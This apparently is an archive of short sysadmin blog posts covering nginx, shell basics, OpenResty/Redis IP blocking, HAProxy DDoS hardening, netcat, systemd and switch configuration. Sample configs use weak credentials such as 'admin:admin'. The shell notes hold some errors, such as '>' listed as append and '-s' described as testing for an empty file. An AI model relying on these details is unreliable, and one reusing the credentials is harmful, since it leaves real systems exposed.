^ # start of string
( # first group start
(?:
(?:[^?+*{}()[\]\\|]+ # literals and ^, $
| \\. # escaped characters
| \[ (?: \^?\\. | \^[^\\] | [^\\^] ) # character classes
(?: [^\]\\]+ | \\. )* \]
| \( (?:\?[:=!]|\?<[=!]|\?>)? (?1)?? \) # parenthesis, with recursive content
| \(\? (?:R|[+-]?\d+) \) # recursive matching
)
(?: (?:[?+*]|\{\d+(?:,\d*)?\}) [?+]? )? # quantifiers
| \| # alternative
)* # repeat content
) # end first group
$ # end of string
/

Without whitespace and comments

Force file download with Nginx

Mon, 19 Aug 2019 12:12:32 +0800

Force file download with Nginx

add_header Content-Disposition 'attachment;';

server {
 listen 80;
 server_name my.domain.com;
 location ~ ^.*/(?P<request_basename>[^/]+\.(mp3))$ {
 root /path/to/mp3/
 add_header Content-Disposition 'attachment; filename="$request_basename"';
 }
}

{
 listen 80;
 server_name backup.baifu-tech.net;
 root /data/backup/rechargecent-mago;
 location / {
 auth_basic "baifu backup center";
 auth_basic_user_file /etc/nginx/ssl/htpasswd;
 autoindex on;
 autoindex_exact_size off;
 autoindex_localtime on;
 }
}

Shell Script Study Notes

Wed, 07 Aug 2019 15:14:08 +0800

Shell Script Study Notes

Arithmetic operations

val=`expr $a + $b`

Operators

Symbol	Description	Example
!	NOT	[ ! false ]
-o	OR	[ $a -lt 20 -o $b -gt 20 ]
-a	AND	[ $a -lt 20 -a $b -gt 20 ]
=	equality check	[ $a = $b ]
!=	inequality check	[ $a != $b ]
-z	string length is 0, returns true if 0	[ -z $a ]
-n	string length is not 0, returns true if not 0	[ -n $a ]
str	check whether string is empty, true if not	[ $a ]
-b	check whether file is a block device	[ -b $file ]
-c	check whether file is a character device	..
-d	check whether file is a directory	[ -d $file ]
-f	check whether file is a regular file	[ -f $file ]
-r	check whether file is readable	..
-w	check whether file is writable	..
-x	check whether file is executable	..
-s	check whether file is empty	..
-e	check whether file exists	..

Special variables

Variable	Meaning
$0	file name of the current script
$n	arguments passed to a script or function; n is the position
$#	number of arguments passed to a script or function
$*	all arguments as a single word, e.g., “1 2 3”
$@	all arguments as separate words, e.g., “1” “2” “3”
$?	exit status of the last command or return value of a function
$$	current shell process ID; for scripts, the PID of the script process

POSIX program exit statuses

Code	Meaning
0	command exited successfully
> 0	failure during redirection or word expansion (~, variables, commands, arithmetic, and word splitting)
1 - 125	command exited unsuccessfully; specific meanings are command-defined
126	command found but file is not executable
127	command not found
> 128	command died from a signal

Input/output redirection

Command	Description
command > file	redirect output to file
command > file	redirect output to file by appending
n > file	redirect file descriptor n to file
n » file	redirect file descriptor n to file by appending
n >& m	merge output file m and n
n <& m	merge input file m and n
« tag	use content between start tag and end tag as input

File include

Use . or source to include files.

Excessive Errors from `sentry.lang.javascript.processor: SoftTimeLimitExceeded()`

Thu, 25 Jul 2019 14:25:56 +0800

Excessive Errors from `sentry.lang.javascript.processor: SoftTimeLimitExceeded()`

mattrobenolt:

Was just going to propose this. :) Unfortunately, this is just how this feature works. If it’s not useful and is just wasting resources, it’s easy to disable globally by setting SENTRY_SCRAPE_JAVASCRIPT_CONTEXT = False in your sentry.conf.py or per project in the UI.

Other than that, there’s not much else we can do here since the feature is effectively working as intended.

Python Telegram Bot

Thu, 11 Jul 2019 14:03:25 +0800

Fixing Disk Space Not Freed on Linux

Wed, 10 Jul 2019 09:57:33 +0800

Fixing Disk Space Not Freed on Linux

Use `df -ah` and `du -h --max-depth=1`

The total from du is far smaller than the total reported by df.

When a process deletes files but keeps running, the files are not actually removed, so disk space is not freed, and those files are not counted.

lsof |grep delete

Sentry Source Code Development Notes

Wed, 03 Jul 2019 11:53:15 +0800

OpenResty + Redis: Block High-Frequency IPs

Thu, 27 Jun 2019 11:18:46 +0800

OpenResty + Redis: Block High-Frequency IPs

init_by_lua_block {
 redis = require "redis"
 client = redis.connect('127.0.0.1', 6379)
}
server {
 listen 8080;
 location / {
 access_by_lua_file /usr/local/nginx/conf/lua/block.lua;
 proxy_pass http://192.168.1.102:8000;
 }
}

-- Redis-based IP rate limiting / blocking for OpenResty (ngx_lua)

-- NOTE:
-- This script assumes a global `client` variable is used/stored.
-- Make sure `redis` module is available and `client` is initialized somewhere.

local function isConnected()
 return client:ping()
end

local function createRedisConnection()
 return redis.connect("127.0.0.1", 6379)
end

-- If the Redis connection fails, stop blocking (allow traffic)
if pcall(isConnected) then
 -- already connected (or ping succeeded)
else
 -- not connected; try reconnect
 if pcall(createRedisConnection) then
 -- Reconnect: this will reconnect Redis on every request
 -- For high traffic, consider disabling reconnect (skip pcall), and allow/terminate directly via ngx.exit
 client = createRedisConnection()
 else
 ngx.exit(ngx.OK)
 end
end

local ttl = 60 -- sampling window (seconds)
local bktimes = 30 -- requests within window to trigger block
local block_ttl = 600 -- block duration after trigger (seconds)

local ip = ngx.var.remote_addr
local ipvtimes = client:get(ip)

if ipvtimes then
 if ipvtimes == "-1" then
 -- blocked
 return ngx.exit(403)
 else
 local last_ttl = client:ttl(ip)
 -- ngx.say("key exist.ttl is ", last_ttl)

 if last_ttl == -1 then
 client:set(ip, 0)
 client:expire(ip, ttl)
 -- ngx.say("ttl & vtimes recount")
 return ngx.exit(ngx.OK)
 end

 local vtimes = tonumber(client:get(ip)) + 1

 if vtimes < bktimes then
 client:set(ip, vtimes)
 client:expire(ip, last_ttl)
 -- ngx.say(ip, " view ", vtimes, " times")
 return ngx.exit(ngx.OK)
 else
 -- ngx.say(ip, " will be block next time.")
 client:set(ip, -1)
 client:expire(ip, block_ttl)
 return ngx.exit(ngx.OK)
 end
 end
else
 -- key does not exist
 client:set(ip, 1)
 -- ngx.say(ip, " view 1 times")
 client:expire(ip, ttl)
 return ngx.exit(ngx.OK)
end

Terraform Getting Started Notes

Wed, 26 Jun 2019 17:22:52 +0800

Terraform Getting Started Notes

設定 Haproxy 以防止 DDOS 攻擊

Mon, 17 Jun 2019 11:07:13 +0800

設定 Haproxy 以防止 DDOS 攻擊

TCP syn flood attacks

vi /etc/sysctl.conf

# Protection from SYN flood
net.ipv4.tcp_syncookies = 1
net.ipv4.conf.all.rp_filter = 1
net.ipv4.tcp_max_syn_backlog = 1024

Slowloris like attacks

defaults
option http-server-close
timeout http-request 5s
timeout connect 5s
timeout client 30s
timeout server 10s
timeout tunnel 1h

限制每一個 user 的連線數量

普通用戶瀏覽網站的網頁，或是從網站下載東西時，瀏覽器一般會建立 5-7 個 TCP 鏈接。當一個惡意 client 打開了大量 TCP 連線時，耗費大量資源，因此我們必須要限制同一個用戶的連線數量。

但如果有很多使用者，是從某一個私有網段，透過 NAT 的方式連線到 Server 時，且實際上我們也不知道，到底哪一個會是 NAT 的轉址後的 IP，不知道該將哪個 IP 設定為白名單，這樣的限制就會造成問題，因此我們認為實際的環境，這樣的設定應該要保留不處理。

以下是一個設定的範例，最重要的地方是在 frontend ft_web 區塊的設定。

global
stats socket ./haproxy.stats level admin
defaults
option http-server-close
mode http
timeout http-request 5s
timeout connect 5s
timeout server 10s
timeout client 30s
listen stats
bind 0.0.0.0:8880
stats enable
stats hide-version
stats uri /
stats realm HAProxy Statistics
stats auth admin:admin
frontend ft_web
bind 0.0.0.0:8080
# Table definition
stick-table type ip size 100k expire 30s store conn_cur
# Allow clean known IPs to bypass the filter
tcp-request connection accept if { src -f /etc/haproxy/whitelist.lst }
# Shut the new connection as long as the client has already 10 opened
tcp-request connection reject if { src_conn_cur ge 10 }
tcp-request connection track-sc1 src
# Split static and dynamic traffic since these requests have different impacts on the servers
use_backend bk_web_static if { path_end .jpg .png .gif .css .js }
default_backend bk_web
# Dynamic part of the application
backend bk_web
balance roundrobin
cookie MYSRV insert indirect nocache
server srv1 192.168.1.2:80 check cookie srv1 maxconn 100
server srv2 192.168.1.3:80 check cookie srv2 maxconn 100
# Static objects
backend bk_web_static
balance roundrobin
server srv1 192.168.1.2:80 check maxconn 1000
server srv2 192.168.1.3:80 check maxconn 1000

限制每個 user 產生新連線的速率 Limiting the connection rate per user

惡意的使用者會在短時間內建立很多連線，但如果產生新連線的速度太高，就會消耗掉過多的資源服務一個使用者。

Kubernetes Runtime Explained in Plain Language

Thu, 13 Jun 2019 11:28:26 +0800

Kubernetes Runtime Explained in Plain Language

Do you understand the Nginx request processing flow?

Thu, 07 Mar 2019 14:05:55 +0800

Do you understand the Nginx request processing flow?

11 processing phases

NGX_HTTP_POST_READ_PHASE:

A phase after receiving the full HTTP headers. It is before URI rewrite. Very few modules register in this phase, and it is skipped by default.

NGX_HTTP_SERVER_REWRITE_PHASE:

The phase that modifies the URI before matching the location, used for redirects. This is where rewrite directives in the server block but outside location are executed. While reading request headers, nginx selects the virtual host by host and port.

Avalon (The Resistance: Avalon)

Mon, 24 Dec 2018 13:22:33 +0800

Install Font Libraries and Chinese Fonts on Linux CentOS 7

Tue, 18 Dec 2018 22:13:40 +0800

Install Font Libraries and Chinese Fonts on Linux CentOS 7

yum -y install fontconfig

Now you can see the fonts and fontconfig directories under /usr/shared (they did not exist before).

Before that we need to create a directory. First create /usr/shared/fonts/chinese.

mkdir /usr/shared/fonts/chinese

Copy the fonts you need and upload them to /usr/shared/fonts/chinese. Here I use SimSun and HeiTi (used in reports). You will see files with ttf and ttc extensions.

What is the SHA256 that comes on the sshd entry in auth.log?

Mon, 17 Dec 2018 16:11:43 +0800

What is the SHA256 that comes on the sshd entry in auth.log?

ssh-keygen -lf .ssh/id_rsa.pub

cat .ssh/id_rsa.pub |
 awk '{ print $2 }' | # Only the actual key data without prefix or comments
 base64 -d | # decode as base64
 sha256sum | # SHA256 hash (returns hex)
 awk '{ print $1 }' | # only the hex data
 xxd -r -p | # hex to bytes
 base64 # encode as base64

What does `< <(command args)` mean in the shell?

Sat, 17 Nov 2018 22:29:23 +0800

What does < <(command args) mean in the shell?

 while IFS= read -r -d $'\0' file; do
 dosomethingwith "$file" # do something with each file
 done < <(find /bar -name *foo* -print0)

<() is called process substitution in the manual, and is similar to a pipe but passes an argument of the form /dev/fd/63 instead of using stdin.

< reads the input from a file named on command line.

Together, these two operators function exactly like a pipe, so it could be rewritten as

Netcat (Linux nc) Practical Examples for Network Admins

Fri, 09 Nov 2018 00:17:47 +0800

Netcat (Linux nc) Practical Examples for Network Admins

Send a test UDP packet to a remote server

This command sends a UDP test packet to the specified host and port. The -w1 option sets the timeout to 1 second.

echo -n "foo" | nc -u -w1 192.168.1.8 5000

Open a UDP port to receive data

nc -lu localhost 5000

Port scanning on a remote host

This command scans TCP ports in the ranges 1-1000 and 2000-3000 on the specified host to see which ports are open.

vimrc Configuration Guide

Sat, 03 Nov 2018 23:30:52 +0800

vimrc Configuration Guide
:set nu
- Show line numbers: useful for debugging.
:set ai
- Auto-indent: if the previous line has two tab widths, pressing Enter keeps those two tab widths on the next line.
:set cursorline
- Cursor line: underline the current line to help locate the cursor.
:set bg=light
- Color scheme for light backgrounds.
- The default assumes a light background (white, etc), but if your terminal background is dark purple, text may disappear (for example, comments in dark blue). Change this to :set bg=dark.
:set tabstop=4

Why do browser user-agent strings always include Mozilla/5.0?

Wed, 17 Oct 2018 12:03:04 +0800

Quick answer

Because website developers may output special features when they detect a browser (Mozilla in this case). When other browsers also support those good features, they try to mimic Mozilla so the site outputs the same content instead of a degraded version.

Simulate Network Anomalies with TC and Netem

Sat, 15 Sep 2018 16:17:26 +0800

Simulate Network Anomalies with TC and Netem

Netem and TC brief overview

Netem is a network emulation module provided by Linux 2.6 and later kernels. It can be used on a good LAN to simulate complex Internet transmission performance, such as low bandwidth, latency, packet loss, and so on. Many Linux distributions with kernel 2.6+ enable this module by default, such as Fedora, Ubuntu, Redhat, OpenSuse, CentOS, Debian, etc.

TC is a user-space tool in Linux, short for Traffic Control. TC controls the operating mode of the Netem module. In other words, to use Netem you need at least two conditions: the Netem module must be enabled in the kernel, and the corresponding user-space tool TC must be available.

Quagga Routing - Install, Configure and setup BGP

Tue, 14 Aug 2018 22:13:12 +0800

Quagga Routing - Install, Configure and setup BGP

Systemd Tutorial: Practical Part

Thu, 09 Aug 2018 13:53:32 +0800

Systemd Tutorial: Practical Part

$ systemctl cat sshd.service

[Unit]
Description=OpenSSH server daemon
Documentation=man:sshd(8) man:sshd_config(5)
After=network.target sshd-keygen.service
Wants=sshd-keygen.service

[Service]
EnvironmentFile=/etc/sysconfig/sshd
ExecStart=/usr/sbin/sshd -D $OPTIONS
ExecReload=/bin/kill -HUP $MAINPID
Type=simple
KillMode=process
Restart=on-failure
RestartSec=42s

[Install]
WantedBy=multi-user.target

[Unit] Section: Startup Order and Dependencies

After field: if network.target or sshd-keygen.service needs to start, then sshd.service should start after them.

Correspondingly, the Before field defines which services sshd.service should start before.

Note that After and Before only involve startup order, not dependency relationships.

RAID10 Total Failure: Mirror Drives in the Same Group Failed Together

Wed, 01 Aug 2018 18:21:20 +0800

Fighting DDoS: nginx, iptables, and fail2ban

Fri, 20 Jul 2018 18:47:42 +0800

Fighting DDoS: nginx, iptables, and fail2ban

Best V2Ray One-Click Install & Management Script

Thu, 08 Feb 2018 10:56:54 +0800

How to Enable SNMP on a Switch

Sun, 04 Feb 2018 14:48:12 +0800

How to Enable SNMP on a Switch

Use snmp-server as the main command.

C3750(Config)#snmp-server community RO

This is the shared secret for SNMP communication. RO means Read Only (SNMP tools are not allowed to modify settings). RW means Read and Write (SNMP tools can modify settings).

C3750(config)#snmp-server group SNMP_ROA v3 priv match exact

SNMP group name: SNMP_ROA
Version: v3
Highest priv level

C3750(config)#snmp-server user cater SNMP_ROA v3 auth MD5 cisco12345 priv des56 test12345

A10

Wed, 10 Jan 2018 03:44:14 +0800

A10 Link Aggregation

802.3ad LACP

A10 trunk can config a maximnm of 16 LACP trunks per device.

interface ethernet 1
lacp trunk 1 mode active
lacp timeout long
!
interface ethernet 2
lacp trunk 1 mode active
lacp timeout long

Static Link Aggregation

None LACP.

Up to 8 static trunks.

Representative HTTP Status Codes

Fri, 15 Dec 2017 15:33:14 +0800

Representative HTTP Status Codes